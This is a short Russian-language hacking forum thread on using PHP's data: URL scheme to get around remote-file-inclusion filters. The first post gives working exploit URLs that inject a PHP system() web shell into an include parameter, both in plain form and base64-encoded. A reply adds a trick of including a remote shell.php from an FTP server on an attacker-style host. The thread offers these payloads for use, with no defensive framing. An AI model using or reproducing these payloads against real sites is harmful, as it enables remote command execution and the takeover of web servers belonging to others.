![]() |
Self-contained File Include в PHP
Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.
Например, мы имеем код: Код:
<?Код:
PHP Version => 5.2.0Код:
http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir<?php system($_GET[c]); ?> кодируется в PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4= Эксплоит: Код:
http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir[+] Можно обойти фильтрацию некоторых символов. [-] Не обходит file_exist(). |
Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"
|
Что то я не понял в чем прикол...
<?php system($_GET[c]); ?> выполниться чтоли в таком случае? Почему так? работает только при инклюде? при простых file(), file_get_contents() и readfile() не имеет смысла? |
Цитата:
|
Цитата:
=\ |
Цитата:
|
| Время: 00:59 |